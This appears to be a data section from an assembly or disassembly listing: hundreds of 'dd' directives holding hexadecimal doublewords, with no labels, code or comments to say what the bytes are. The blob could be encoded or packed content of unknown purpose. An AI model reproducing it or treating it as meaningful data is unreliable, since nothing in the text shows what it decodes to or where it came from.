dd 5A3E781Fh, 5F49A0DFh, 66A870C6h, 787E6815h, 0C3D14B46h
dd 810359D4h, 0BA0B4AB0h, 5D64075Ch, 0B3879024h, 98CE0150h
dd 0B817833Eh, 0F90BA59Ah, 0F84EA40Eh, 565A7BE9h, 8010DCE3h
dd 9F5A3447h, 0C8F35BAh, 50955288h, 8870B00Eh, 2F05D3C2h
dd 0BA83B4B3h, 8E398E0h, 1806D2C0h, 0E9DA50C5h, 81DE4EFCh
dd 0F3758781h, 0C7EF2962h, 0AE2808DAh, 0F4382603h, 5A57E90Eh
dd 669B0A9h, 27E60DE8h, 4B0B2DF0h, 0C1F2E97Fh, 4C6D5D03h
dd 0B02CD385h, 0A14B414Bh, 2EE01589h, 3B6597A4h, 0E15BDF0Ah
dd 19E90204h, 0CF8749D0h, 0D7F73D47h, 0B203BC12h, 98148873h
dd 0CA81650Fh, 747AE517h, 0EA9904EBh, 0A4C3C001h, 0C48E6B8h
dd 6CA1025Fh, 0E90945B5h, 0CD24EA26h, 0F481EAD1h, 0B3F01264h
dd 0E9BA4574h, 31B491ADh, 35E7DDCDh, 7EE12153h, 12E43D51h
dd 0F4E9BFB4h, 27EF341Ah, 82A45CD4h, 3AAD4408h, 91A0B793h
dd 4423CCDh, 8B804AEh, 50A05059h, 5CCD571Dh, 0C12CE1C0h
dd 9D54817h, 0B16D043Ch, 5291E904h, 4B07FE5h, 557092B0h
dd 4109172Ch, 13FFD227h, 1C8C9E27h, 0B2AC6F95h, 2B00BE6Ah
dd 2D456EA5h, 12C63DCFh, 10F0293Fh, 5010813h, 0AE5647Ch
dd 45D0DAE9h, 5BF83012h, 0BF6C271h, 8A5E0ABEh, 0BDFC98CAh
dd 80CE9902h, 1D656934h, 0CAF1EF29h, 35E90882h, 5056C4E8h
dd 39D7B804h, 4AA2181h, 0FCF53102h, 64CE074Dh, 829B6DB5h
dd 82B1792h, 2E32C58h, 0FA18ADBAh, 0A229D82h, 4C0D6801h
dd 6AE7297Fh, 1548EA80h, 811B0EFBh, 730467CFh, 5818AF4Ch
dd 0E02759B2h, 49015FFDh, 8889564Dh, 66EBAAD3h, 0EB012720h
dd 0E917107Ah, 99E4CA63h, 92A7F059h, 54407E28h, 2A688345h
dd 25B97C63h, 29D15E1Dh, 2D6857C1h, 0D37A7460h, 0E56C099Dh
dd 25CCD428h, 5A166071h, 0E8C18221h, 0D40EF343h, 95513A1Ah
dd 0CBE786C9h, 0BBC848ADh, 1F511252h, 4533BB41h, 41ABC93Ah
dd 9F2DE2h, 23C3ABAh, 0D3216E25h, 1FE2525Ah, 0B800ED76h
dd 5F8A5C5Bh, 69F75C40h, 3E285D09h, 88F34585h, 893CC665h
dd 0E3E1AAF0h, 0C9C06B95h, 9362159Bh, 0B236AA12h, 0C06808FAh
dd 9AA53E7Fh, 0E3A44F8Eh, 0E7BC909Eh, 42F1354h, 4FEC8436h
dd 8BA07EC5h, 64EC012Dh, 0D8F73CD9h, 3EC23850h, 9B8F0458h
dd 0BDB8B5AAh, 0F509E90Bh, 0BA254D7Ah, 75EC4D6h, 0DC2805CBh
dd 1DE3602Fh, 57264A7Dh, 0E702D643h, 0C0553F65h, 22D32BE8h
dd 1520B208h, 51D18AA8h, 372A304Ah, 225FF265h, 18CDA613h
dd 37267E8Ch, 873C4F2Ah, 0E15D2FFDh, 4E26BBCFh, 6508975Bh
dd 0C14BDEEh, 76E7DFE9h, 5E8BEC5Bh, 940D35CBh, 0B8CC4EDh
dd 3798A2C0h, 2EFE60BEh, 0CE29DB0Eh, 69F06B59h, 14E3E929h
dd 95E6882Dh, 0D942A025h, 30C9CAD9h, 0C0131F2Ch, 6952EB2Bh
dd 0F73B2FE7h, 0D6267EDBh, 0B1A0CAFEh, 453B2B1Ch, 4305F965h
dd 6099D4B9h, 18D93873h, 68D7A61Eh, 0E4044A67h, 0F3138899h
dd 1EECD3F6h, 22559815h, 0E8685301h, 213C0B52h, 247FEA45h
dd 0C1B050D3h, 20350764h, 9E028F79h, 8A5C0854h, 97054150h
dd 36CE7A32h, 0B558EC95h, 0EB1C7C4h, 138D408h, 1F72E181h
dd 0C1B0C73Dh, 5514394Dh, 24BC31D9h, 124C101h, 5F41B024h
dd 81C8622Dh, 50C4B850h, 4AE90705h, 0F72AE48Ah, 3D214638h
dd 520A9220h, 137576A4h, 5348C84Ch, 0CE440156h, 0FE14F11Dh
dd 4A7E9382h, 6704AC01h, 0FAD8622Dh, 0C2FCB1B2h, 41B0D0E0h
dd 7C30E041h, 6B294D76h, 0F2468F13h, 2294800h, 4A456498h
dd 55A6D231h, 867A903Eh, 797F8A48h, 5111D902h, 5F0E9168h
dd 478BAA18h, 0F257AE2Ch, 1A9FC809h, 22B17555h, 0D2217AC5h
dd 2900E615h, 894A5FFDh, 394A8E81h, 0F4622533h, 72E5B6FCh
dd 1B00C896h, 4B5C08F1h, 0E9DF17F7h, 6FCBB1C6h, 0F8660963h
dd 48E168F1h, 9DD7314Dh, 8F292F4Ch, 0EF317C88h, 1812D724h
dd 364FC2B8h, 572E0D2Ch, 710B3F55h, 0E5F75615h, 484EEFD2h
dd 0E34D7863h, 1C2B9803h, 5777A4FBh, 42200289h, 60EACBE9h
dd 20C4611Ah, 29C2A295h, 3F665177h, 0E6D6A541h, 0A86D4D2Ch
dd 75605A25h, 78243CE4h, 0CD01D911h, 0E636C9Eh, 940E760h
dd 0F720A726h, 87E715E0h, 5655BA12h, 85F06DA0h, 0A308E989h
dd 0F2478F72h, 0C8965D50h, 0A4C8EE58h, 0AA5F482h, 300D000Bh
dd 0E3E6817Bh, 81BF1B28h, 0E64F6025h, 605DB412h, 0EF21A5B9h
dd 0F1C04F4Eh, 2F11595Eh, 9E40F716h, 222637B5h, 0F83E3CC6h
dd 54C0694Fh, 68AFB8h, 0E0C119D3h, 2E913502h, 0D629301h
dd 207433F4h, 4806F140h, 0E3AD54E9h, 33019058h, 0EBCF3779h
dd 353862F1h, 1389446Ch, 0BE087208h, 0E926217Fh, 903FD4CAh
dd 362C683Dh, 3E03949Bh, 0F823F94Dh, 0B65859CFh, 225D5A5Ch
dd 790B49CCh, 0B91C8B2Dh, 57FCFB48h, 405CCC27h, 0B7F8315Ch
dd 5AB27B20h, 0E92565DBh, 0E24DE864h, 67181DEBh, 5C29769h
dd 0C2DEDDDAh, 0B973CE23h, 805FAFBDh, 0BB5357B7h, 1B783956h
dd 3764FFCh, 49C28042h, 64E1D782h, 3D23F4F9h, 46B699A4h
dd 2F972994h, 0FD97AADh, 3B94243Dh, 0F5E1074Bh, 0DC53205Bh
dd 0C8F02B2Dh, 0D4DEC580h, 904A2C11h, 0E9EE0133h, 5780C04Fh
dd 0AC7D0668h, 55E80ABh, 1E67175Ch, 4125EC7Bh, 7FD71907h
dd 0C4581922h, 826F59FCh, 845A1442h, 0DE12FEA4h, 5E112ED2h
dd 45E16A6h, 0E9E56DB2h, 0C3307EECh, 88520E9Dh, 5AF0E4DEh
dd 7EBDCA5Ah, 0FE90C37Eh, 0FB50E912h, 91384A4h, 8957C564h
dd 0E0C96424h, 4C0BBE63h, 2657C44h, 799B2EC8h, 54538B18h
dd 5B58CE90h, 278667B5h, 40E99798h, 311DC29Ah, 594C1D6h
dd 0D8E701B5h, 0A1E9456Ch, 52287338h, 2E341CCFh, 0C525BE47h
dd 3D71220Bh, 0DC2B04ADh, 8F5961D2h, 0BEBC0595h, 9ED06EACh
dd 18205526h, 5AD0913Dh, 0F228819Fh, 0CA80CE40h, 0E60B7ABBh
dd 0EB5F8326h, 68D76C01h, 66604D88h, 0A2464F92h, 9EBA8E64h
dd 682C6C49h, 263584D1h, 0B2BA78E8h, 0B0506h, 0AB9AEB1Ah
dd 8417482Bh, 5937A502h, 0E3582977h, 415B0881h, 62E0B2B6h
dd 28029642h, 829463D6h, 49FDE5D2h, 77697CF5h, 70282460h
dd 64B8B36Ah, 24996234h, 0AEBC65BFh, 0A93CEF2Ch, 0E981FF93h
dd 0F67DE480h, 15CF27D4h, 0D74CE79Ch, 0DC3BE0A1h, 12B864E5h
dd 87C971FBh, 68F9BF89h, 0E7812A10h, 302712B0h, 30BBD70Fh
dd 414531D3h, 73D7F73Ch, 867A9D09h, 7A395C4Fh, 50720057h
dd 930F724Ah, 0BA85B498h, 8C2F693Dh, 1D49E9FCh, 0C65E2F5Fh
dd 0B021AC20h, 0E44027A7h
dd 0BA045D44h, 3F5D23F4h, 180AC4E4h, 5CC0A2DCh, 0B92F5465h
dd 8872825h, 90315B2Dh, 988C85FFh, 0D2EEAD4Bh, 68590990h
dd 185E389Eh, 0F52DF60h, 902BD10h, 0B076E70Ch, 29FF5065h
dd 0A48A7C28h, 5C52A64Bh, 348E50E0h, 1EB4BB80h, 0BA339841h
dd 0A724F9AEh, 2E3D8A61h, 0ABB60CC4h, 43A8257Ch, 8A103EA1h
dd 0F501F48Eh, 0E82C5E5Eh, 0BA520259h, 688C56A7h, 1A360775h
dd 0D3297A91h, 8059721h, 0E9C943BBh, 44061735h, 370A2B9h
dd 4CE107D6h, 602F5C7Eh, 0E8184DC9h, 0F132297Ch, 742296A8h
dd 0D5053CE1h, 917D48Bh, 1BA0EDE6h, 0D8F6AE34h, 8E8C004h
dd 0A8C43C2Ch, 0CBFE9481h, 0FFE9EBD3h, 6B62FE99h, 0E46FF37Ch
dd 0F2B8D2A5h, 112B099Eh, 0FFE948ABh, 2F417593h, 29056862h
dd 0DCE25DE1h, 47767216h, 1F07F202h, 585221C3h, 252AEE3Eh
dd 16A50FFEh, 0CD29A17Ch, 82C941E7h, 0CA0102B1h, 0A8A0C52Eh
dd 5764B50Ch, 62360CA8h, 8108D28h, 0B31ECF04h, 145F012Eh
dd 109A0C6Ch, 1581C10h, 0D07591C4h, 0D3948017h, 1876271Eh
dd 5BC58497h, 9717A7D6h, 0BD64218Bh, 2B453364h, 635DCCBCh
dd 0B9710DCh, 0B054AE68h, 97BCFC49h, 68162D64h, 76347B77h
dd 0B6819CE2h, 78A7E980h, 92BD0272h, 0B864C41Eh, 1F7CBA15h
dd 870AAC76h, 962588CAh, 0A9090C1Ch, 72DB962h, 40D0039Bh
dd 24EA29C0h, 0A4545D52h, 881D15DFh, 1CE42D07h, 0C229F3AFh
dd 3B07B0E1h, 7B35BB40h, 7F183Fh, 0A576272Dh, 0DF28052Eh
dd 0E970C309h, 53B2E1E0h, 0F71D4D28h, 1127BED3h, 80E2ADC2h
dd 94559362h, 7E64B79Bh, 4DCA3BFDh, 49A2E913h, 0E96542Ah
dd 7B2BF0A1h, 8EE72E40h, 0B8577160h, 40280914h, 0B500500Ch
dd 56DC4662h, 8C2AC1ECh, 0E10C8B35h, 3C1A07E0h, 407B17E9h
dd 0E28AC8Dh, 0FEBEDBB6h, 0ECE179C9h, 5E547B3Bh, 0D11202D4h
dd 0C742C1E0h, 37FD2681h, 0EB522027h, 50DE139h, 2AA4E962h
dd 50932CAFh, 5DBE5603h, 0FD757F40h, 5FD257A0h, 6FAF4459h
dd 36B31250h, 0CB2FFA3Eh, 0DDF6E402h, 0DE2CEB40h, 164C2D80h
dd 1647DA0Eh, 387FDA7h, 0A53310C1h, 85C9AF13h, 0BFBCE733h
dd 68F8305Bh, 58BE514Bh, 0E942B748h, 4C517888h, 8300825Eh
dd 31B505F5h, 5EC05AD7h, 3A116A1Dh, 0A4F95101h, 725F0802h
dd 0FC6EB521h, 695B3162h, 685C0095h, 6A911BB8h, 0DD08EFA6h
dd 67ED804Fh, 5059EB28h, 9C53B43Ch, 0E312BBF4h, 0CB3E15F1h
dd 77A81264h, 1E0B5AE3h, 1A8A23B2h, 25EA4C4h, 9AF249EFh
dd 5FF97940h, 3C4842FEh, 3F68C7DBh, 724C8532h, 20E52D24h
dd 0CC20DFE6h, 0CF292D01h, 0FD993FD0h, 8792616Bh, 0EC80317Ah
dd 4892B94h, 580C569h, 29853956h, 71CBE195h, 0B24E8C2Ch
dd 0F6099625h, 0D9E9AB55h, 58D04244h, 6FF10148h, 119D1426h
dd 0DD8A043Eh, 40BF01EEh, 0CC37ED0Eh, 0E09514BDh, 0B264E9FCh
dd 6B5B4802h, 3709FC04h, 0A9FD006Ah, 9429ECADh, 5E7712CCh
dd 2CD61BCEh, 51B26498h, 4EF38103h, 408C05Dh, 0B34470Ch
dd 0C3218033h, 575CAA3Bh, 0BEB30543h, 0A3852706h, 26CB2700h
dd 0C1690842h, 93E52436h, 2D302C43h, 0B51FE45Ah, 0E9B3FB00h
dd 69B3C306h, 1E2B5308h, 867847BEh, 0A114A46Ch, 7F9D3FB3h
dd 92132426h, 1034B9D5h, 0E14AEAC8h, 44EFCDF8h, 4FEFFCF5h
dd 0D7669DF4h, 0AE13C43Dh, 0EB03D335h, 9DD94B1Bh, 2AF06580h
dd 317D1654h, 0B2B008C6h, 273CD20Bh, 2DA8E61Ah, 9198FE58h
dd 0C617CA25h, 1D6816BDh, 0C5CEA870h, 74AE04CDh, 508BE6F1h
dd 8827688Ch, 0AB04658h, 48DEE9DDh, 7E688526h, 0A3125229h
dd 0ABB64BCDh, 4BDFE296h, 1B8E2DCh, 2FCA1002h, 6E590BE9h
dd 1CEE5475h, 0E641E5BEh, 808CDDADh, 29A6827h, 265F3B24h
dd 1FE8DFF7h, 1E08BFEh, 86D0E7ABh, 419B2B13h, 0CE1C1AACh
dd 13674E37h, 11BDEEC1h, 397F301Fh, 36554065h, 59E749BEh
dd 8BB8DAA6h, 1245B5A0h, 29262005h, 7042DE8h, 68A8FDE9h
dd 80F4D79Dh, 14335DCEh, 0DC8C329Fh, 21B3448Fh, 3E3892FDh
dd 6EFB42D9h, 5FE917D9h, 0CE7C903Bh, 7E2F2784h, 8364406Dh
dd 52CF2767h, 30CF9BC3h, 3AE258AAh, 14F401BDh, 3E48A1h
dd 0E5135AB8h, 0FB4AE9BDh, 0E1C01FC0h, 8007C008h, 0CE28FFC1h
dd 205BE925h, 5EE8F279h, 16E1386h, 9424B2D6h, 4B0238D3h
dd 244C08DEh, 0CC922925h, 3A509F42h, 0D06B8291h, 0BEBEC056h
dd 5727203Dh, 28EB2098h, 8C680BCFh, 65DB7E1Ch, 0F76A901Dh
dd 0EB48C1DBh, 0A3CD2A8Ch, 52E28105h, 0DBC23A7Eh, 289DAh
dd 6CCE1929h, 0D7010428h, 0E2D073E9h, 675E252Ah, 7C79A561h
dd 3CD2EC08h, 9C0D9A7h, 9A97C001h, 8600C065h, 0BCE39E02h
dd 451F0F7Ah, 70ADFB29h, 3C0C20C9h, 205A4CBFh, 68132ECBh
dd 0ECA23DF7h, 0A045E9C4h, 0F139802Dh, 5FC98241h, 8EF65166h
dd 0C059A5D3h, 54A2E391h, 11C58585h, 5FD00939h, 3311235Ch
dd 3426725h, 5449E571h, 0CFDA5B5Dh, 49945709h, 0D944499Fh
dd 562D10FBh, 0CEFE00D5h, 280DF680h, 485A5CF3h, 2DF71010h
dd 169FF8ADh, 0B693107h, 0E6CB1E65h, 5C455B90h, 0E50781E4h
dd 41AB5E72h, 7881CD67h, 4D601D07h, 6761E893h, 525F247Dh
dd 4F435475h, 60CC49D1h, 48B74480h, 0C401ED36h, 12FE0C7Eh
dd 77849BE9h, 0D939BA05h, 97891A39h, 6D454F62h, 78E0AFB9h
dd 2A220447h, 0B14BE942h, 4EBB79CCh, 74A47852h, 7D84AA74h
dd 82F7220h, 3A9003FCh, 73606DAAh, 953B571Dh, 0E097B7Fh
dd 0EB16432Ch, 0E49DC9C3h, 0E7014520h, 0B5B39924h, 0EAF0D344h
dd 0DB270F9Fh, 0CC26884Ch, 0D9893F49h, 0A8555E16h, 0CC9AB5B7h
dd 9C7007Ch, 172D26Ch, 0AE30E9CFh, 0B2526EB8h, 0A0085F25h
dd 0AA5AB4D4h, 34398CA6h, 0BDA2DC5Fh, 94299140h, 6112BDF5h
dd 5229BF44h, 0D87A37C1h, 90605CD1h, 239BA79h, 30204CD8h
dd 0BD5FEF20h, 3DF9E194h, 237B257Eh, 7563F67Eh, 0F5ED1E2Fh
dd 721CB48h, 7469A889h, 6801DAF7h, 0A2072DB7h, 22F6E0F6h
dd 0CB1D159Ch, 5957C35Dh, 47ED3EE1h, 0E9111284h, 0E10BD723h
dd 2008E6C1h, 2B140C6Ah, 86790ED1h, 228CC83h, 3CFD6856h
dd 19F9722Bh, 5E96B563h, 0B04A8428h, 904B5BE6h, 123D91CCh
dd 0AB2EA666h, 0E6C6C607h, 2D9F2860h, 313F1DC1h, 5B3A4324h
dd 0D0D001F9h, 0F4B764Eh, 0D3DEA3C6h, 68C14563h, 4072FB97h
dd 32864E56h, 4F0A4977h, 6F0124DBh, 21725258h, 955AB230h
dd 89732C0Bh, 5C4C078Bh, 0FB4567DCh, 1754D674h, 4C9095Ch
dd 0BA397AB1h, 0AD688177h, 0DEB0F966h, 0BD02A792h, 18933321h
dd 42655701h, 98E15192h, 0FDF1AA80h, 0E9BE8ED3h, 9BBBD130h
dd 2D7110F5h, 2F78642Ah, 0C6DA9725h, 1140497Bh, 4685BD3Fh
dd 71514E94h, 355A9Ah, 788E3B3h, 0B6525BDDh, 4B12D2F7h
dd 5993EF74h, 1F94CE08h, 3AA88B58h, 28350690h, 830D20E0h
dd 0B55601EEh, 0B581016Eh, 3A82A44Eh, 0D6213709h, 0EAF3972h
dd 454E4D8h, 3CEB89D9h, 0CB14B52Bh, 6A899DADh, 0DF26AD9Ch
dd 5E07D26Ah, 903C397Eh, 58043757h, 0AD361968h, 67E9B211h
dd 1D5E252Ah, 0BAC8BD50h, 73557FA7h, 926817C5h, 0E42B313h
dd 538E1CF6h, 498CF7D0h, 16F10D5h, 400C486Ch, 547A290Ah
dd 5D5A0817h, 0D6244BCDh, 714C2545h, 8D1CB9D0h, 61A5CB77h
dd 85552788h, 0AA884EA0h, 0F732FFF5h, 6E5A0BCBh, 509F6A88h
dd 14A37940h, 953A847Ah
dd 0E110104Ah, 68602B05h, 37D90353h, 29915269h, 0DCCC3BF7h
dd 0E5FE4E89h, 81146D03h, 0C3315EF0h, 9106D57Ah, 2A14A839h
dd 0B572E8A7h, 0C320D7C4h, 1E8BBC8Dh, 0DD514C43h, 5BD8B912h
dd 9888C15Ch, 0CE24F95Fh, 4D629487h, 0FBF32B5Bh, 8216B75Bh
dd 221FE9h, 5FA161BFh, 0F831D117h, 0C3137E8Bh, 2FF1A858h
dd 0A57CF909h, 1E0DADD1h, 3C415D26h, 0CF34BDE2h, 0CA184E03h
dd 595E2F8Bh, 0D6E9894Dh, 2D0426F0h, 10C2164Dh, 9944D1C4h
dd 0AEBCA804h, 5D115E42h, 5B8A0446h, 0B852F54h, 1ED8EFB5h
dd 2AD6263Ch, 397700ECh, 49E902BAh, 1A99A060h, 1819965Ch
dd 0D1CBB59h, 0F995EB81h, 99D909E4h, 0DFF529C8h, 15A7679Dh
dd 348C25Fh, 0B716B270h, 6812E94Eh, 0BE743742h, 0DD50AAA3h
dd 0A3CEB5E0h, 0FE2662B5h, 9F744BB7h, 0B35FDA90h, 0C90A2429h
dd 364B5593h, 607BD05Dh, 3F7A5045h, 72C139E7h, 46FF3CF6h
dd 0E9A2077Fh, 0A6CE1926h, 5BD82116h, 1C52ECFDh, 805AA2D6h
dd 721DEEBFh, 1D0CBF78h, 0A0BEA39h, 977C313h, 4861D0E7h
dd 0C8108A5Ch, 97C91756h, 55211327h, 0B2EF1E20h, 0AE3304EBh
dd 623621D9h, 535A540Ch, 5F137D38h, 7DF82A63h, 0F4C8E913h
dd 24B42C4Bh, 4377509h, 35F07F28h, 0C0A0955Fh, 40E57011h
dd 0D5071CB0h, 2D5D6880h, 0A00D66E3h, 4EE9E829h, 1E607A9h
dd 0C4D1FBEFh, 1275E9E7h, 533B49EAh, 9756D2DCh, 92177144h
dd 0D202DCF6h, 41D430B5h, 9054EA7h, 5890C4ADh, 580E4DE5h
dd 0BE450773h, 103FED00h, 0D2890212h, 1921BB9Eh, 402A35E9h
dd 0DAA8C7EAh, 0FF6A03Bh, 6327E45Eh, 7794FE85h, 81A9B4F8h
dd 0E95650B4h, 616BC45Fh, 144630E5h, 0A29253FEh, 6BB0C09Ch
dd 2FE9674Dh, 18DB961Bh, 293D74A5h, 3651126Ah, 0E9243EA1h
dd 2C8FA164h, 19F86D33h, 40894920h, 535059A8h, 4D995B1Bh
dd 10206804h, 0F361E902h, 514A12C6h, 5C2DAC2Ah, 6A90C772h
dd 561D09B5h, 39A4EF7Ch, 2D18F6C0h, 0BFAC007Fh, 4B1D5E17h
dd 0CCF4A53Dh, 0FC2824F7h, 9A1FCD18h, 4FD77036h, 6883DDECh
dd 5B10648Bh, 0AC3BB3D3h, 74C0C627h, 5073FE88h, 0F94DF47Ah
dd 15B0B39h, 319907C2h, 3192533h, 6E6DBC6Ah, 5A6E477Ah
dd 5540607Eh, 0F3D14F2Ah, 9948282h, 0AEF4E0B9h, 9EC28Eh
dd 79E9731Ah, 276CA48Ah, 717A5452h, 7B12745Ah, 35D2CBFh
dd 68258DBAh, 972678F2h, 68059947h, 39BA43E1h, 0B839488Ch
dd 0C8299C0Bh, 31F6D846h, 0E91198BFh, 5DA19D31h, 0CC7688Dh
dd 39E6AE70h, 1D3348BBh, 7CB10970h, 9EE8603Ch, 4CAF9013h
dd 72EFAF64h, 0B1D2B2F3h, 3857E22Fh, 0C0B8E1DFh, 0F2EE8177h
dd 41002F32h, 4250BB53h, 4FE97F63h, 57AD0FC0h, 1AC6847h
dd 705854B1h, 2D7205F6h, 2A58013h, 5CCE6AA1h, 50688439h
dd 7A5AE679h, 0B722C226h, 0BA4A1CC0h, 9A4F982Fh, 0E1811F52h
dd 9762470h, 6501D9F7h, 78D61429h, 11A20420h, 26EDCBE2h
dd 37CE0601h, 72C88999h, 0A731CB16h, 0E1B58DBh, 0F32A4021h
dd 4CDEF76Bh, 5000BB4Eh, 816AE053h, 380270E2h, 0E94A5A71h
dd 0C3987FEFh, 0EB16EA80h, 232DD2F6h, 0E90D8838h, 2B32AB5Eh
dd 64F29291h, 9678DEF6h, 9CFA6122h, 52660008h, 7B6C7A86h
dd 0B1B82501h, 9E305B59h, 59E7198Ah, 12C0A09h, 0BEB1880Dh
dd 2990E821h, 0B7A18C17h, 0C1918438h, 37040614h, 805B3E34h
dd 441431B0h, 0BDE92009h, 252859D3h, 0D042BCD3h, 574F0288h
dd 58A387F0h, 515F0B26h, 0C13BC210h, 0A125585Ch, 12BF42D6h
dd 0C741B44Ch, 0B9B7535Bh, 0D07E0BE9h, 3C5FEACCh, 28BF3FF0h
dd 3C340828h, 85A6D4BEh, 0D339FBABh, 6C78B4A4h, 3CEDE907h
dd 54955A91h, 29C464B8h, 0B70487C3h, 7105105Bh, 0E75880D3h
dd 23FD0D7Ch, 847F8CA5h, 8C08186Fh, 4C954475h, 498628B0h
dd 0C2F58B09h, 0E0D1004Ah, 0D019C62Dh, 918E84Eh, 0C5C4596Ch
dd 6D5819ACh, 0E7E2146Bh, 2A0B0CC8h, 575B4A30h, 0E9C15EEAh
dd 0C96F3845h, 21D921C2h, 0F54059CEh, 7C80402Ch, 0E9FE0902h
dd 30A5B098h, 5A8B92D2h, 7B8274E2h, 8D73F4C9h, 9A1302A6h
dd 0D308346h, 0B9552015h, 93F0013Bh, 0FBB9C5BEh, 0AD4A40D5h
dd 39A0B54Dh, 250673CCh, 6060407Ch, 25B497E9h, 66852C05h
dd 14B790C0h, 0C0DF5EF6h, 0C7309501h, 2C4E0283h, 4471E926h
dd 5AEB2556h, 38232C73h, 69DE6BE0h, 5F3BCA42h, 299D1CC4h
dd 727BFECCh, 0BD20FD5Ch, 3863BC00h, 0C7A8BA23h, 0E00B4B14h
dd 0D74B8918h, 4A4CC4B3h, 93117C07h, 0ECF76032h, 3401AB67h
dd 641FB951h, 693069EAh, 24081314h, 0FD750202h, 10407CEEh
dd 3494F218h, 20587225h, 7E988717h, 5B246104h, 850011Fh
dd 94E9FF62h, 2860B5EAh, 1D9EC3A9h, 0E2E95449h, 0E44BC917h
dd 8FECFE0h, 547D9327h, 2B909889h, 5F5CF889h, 58C614CCh
dd 41D297E1h, 0BE15F016h, 0D3E91D41h, 87DA4AAh, 6007FCC1h
dd 3630168Bh, 0C8123C09h, 0B910E916h, 0E2F70FB8h, 75DF09D4h
dd 35493318h, 5685A4B5h, 55886CFAh, 212FE8B8h, 0A62251C7h
dd 3CA710FCh, 1F362B9h, 561083CEh, 5E0D2754h, 5DE9CFB0h
dd 8148E14Ch, 611C7D6Bh, 0C75A969Ch, 30595E31h, 205568D2h
dd 4FB2F3B1h, 0D5A6FF58h, 1D90815Fh, 276B683Ch, 44C789Ah
dd 80D7925h, 27B8309h, 746104B0h, 0D8F76901h, 0F896E957h
dd 1A993CBAh, 14150B86h, 0BE0C40EEh, 6B5B0980h, 0E400D8BEh
dd 0E96E0355h, 4848BAB3h, 8A5FF25Dh, 25C1160Fh, 0BE9FA8B3h
dd 566C0FAh, 7C09271Ah, 0C22D9C9Ch, 9402ABABh, 0FDE92DB4h
dd 88B91E00h, 1A13FB65h, 85CDCB29h, 6BB242A9h, 1B09C058h
dd 7561110Ch, 0EE19E91Ch, 0EB0C7901h, 18715A6Eh, 0B42DCF6h
dd 1145AE4h, 0F25A9114h, 2B5FFD01h, 3E150E2Dh, 0F5A504ABh
dd 8939EB13h, 0E7D1B305h, 0B222F329h, 1C0AD725h, 6CD6C9FAh
dd 71A4D292h, 63D70BC2h, 57DC5509h, 0AC99B113h, 41F2E830h
dd 9C953F9Dh, 0E50D61FBh, 0E97A602Bh, 13986C49h, 4E05851h
dd 0CC461280h, 5A56BF1Ch, 2B7FB00Eh, 8A43A90Ch, 2D8350F9h
dd 99D71F38h, 0E6F0C801h, 0EBD39923h, 0CEC0627Ch, 0CB279DE9h
dd 0C1DEC311h, 1F25FCA5h, 84CBC987h, 9AE1F727h, 0C44670B6h
dd 31BD2917h, 38D30706h, 65C3775Dh, 0C429898Fh, 91786D5h
dd 5BF2FA95h, 0AC9F1358h, 5AE9B855h, 0B84C5C8h, 0C5CC03FFh
dd 209F8EE6h, 98169329h, 8C1A951Dh, 136BF500h, 0A8C93FFAh
dd 0D05DC81Bh, 0EA77B2F1h, 6E299D05h, 73C54D8Fh, 2D22F9DCh
dd 0D3641902h, 39AD4A2Eh, 1F7AAD92h, 0D0466C1Bh, 17AECFEEh
dd 59C491F9h, 3FE61383h, 68D9714Eh, 0BFA33ADBh, 9082445Eh
dd 8F817402h, 3326B5DAh, 1A40BA02h, 9D617CE1h, 0DF633205h
dd 8B401E12h, 0E34BC9BDh, 10F9005h, 22907D50h, 62AEC3E9h
dd 0EA71054Ah, 33D7EBBFh, 9227F649h, 0F1C100F9h, 1576C4D0h
dd 35670500h, 322D3614h, 6875095Dh, 9F50A2E9h, 988AB43Bh
dd 4EE337E1h, 9ED18340h, 83A22848h, 0D920478Fh, 6638B22Bh
dd 3B3916C0h, 0ED068154h, 7387977h, 20015E0Ch, 0FD4066F4h
dd 0FCE9B209h, 9205383h, 86B153E8h, 0FD222509h, 5463DDAEh
dd 1C68EFBEh, 439D4149h, 0F8070287h, 0F782E501h, 1273D249h
dd 4913D75h, 138A4B1Eh, 38D44DECh, 7E13F2Ah, 301EC680h
dd 33CFA3F7h, 0E50CC376h, 6035AC51h, 4C8013BFh, 1204BBA3h
dd 83A31CD8h, 0B041EC4Bh
dd 0A8A6F7E9h, 1367EDDCh, 0C03B5745h, 0F65E5CC4h, 98E96109h
dd 50816BF1h, 0F7EBD742h, 0E7D914A5h, 28BF6E88h, 0B233EE6Eh
dd 505A4C2Ch, 915D9309h, 0DA3A4483h, 6BE3B05h, 78E8495Eh
dd 0B70D7D04h, 0DCCA8045h, 6B4EC94Ah, 0EE29B381h, 0B006A61h
dd 4F38685Dh, 0BFC5300Ch, 424EBE12h, 0FDE10701h, 0C2FBDE68h
dd 0E4AC61D9h, 0E873D93Ah, 43D60FF0h, 0F082DA1Ah, 3C939EF7h
dd 295E1DBh, 91545A0Ah, 24B8DC53h, 0A31DAF84h, 875516E3h
dd 312CF4B7h, 0B6C5969Bh, 0FEED2593h, 245D6585h, 49FC89D9h
dd 0D3896E59h, 1400242h, 23605168h, 860278F2h, 0E96BF537h
dd 0E655E76h, 28E9D529h, 0B0004950h, 9DB7533Fh, 0EC77CF80h
dd 245401F6h, 0EFC05B01h, 0F3F7F005h, 79FD5A1h, 0D8FE8209h
dd 515D0209h, 0A96EB5FBh, 95B1F8F8h, 8CA452CDh, 60B8508Fh
dd 2D15DA6Ch, 530BD67Fh, 2DB8CB32h, 0B83E9002h, 45C42F1Eh
dd 804EE4Ah, 2462EF59h, 3A65D092h, 4CA8ABBh, 0E2936767h
dd 5A5713EAh, 0DD200EACh, 6698B612h, 0A1281FE0h, 0EB698AB8h
dd 5BE90206h, 0C578D133h, 20646C9Fh, 9501E4D7h, 737AE581h
dd 76202179h, 27C6E88Ch, 0C562999h, 25FC4425h, 57CDAF4h
dd 0A53D45E9h, 68845A09h, 0F192E4D5h, 75213914h, 328D13BCh
dd 41E161B4h, 0F4E8310Eh, 2976B21Ah, 4476CE07h, 60A42CEBh
dd 5F1D3BFCh, 1996CD41h, 2889F430h, 9266D024h, 0F910B409h
dd 6E06823Eh, 0CE105D53h, 0C480801Bh, 0EE0FB273h, 0A6E62843h
dd 0B45EA994h, 0E7825648h, 80F529D7h, 0AF4AC42Bh, 0FEDEDE62h
dd 137B7C12h, 0F8ACD330h, 0B130BFBBh, 73A88A81h, 0C46B4B13h
dd 5A070239h, 0F882EBC1h, 2B568620h, 152D5C40h, 2FEA1D38h
dd 59038248h, 5460661Ah, 5509C3A5h, 4D031D2h, 4DADD3B3h
dd 5FD3E22Ah, 50A2E654h, 7B18137Eh, 430C3DB6h, 6C820D70h
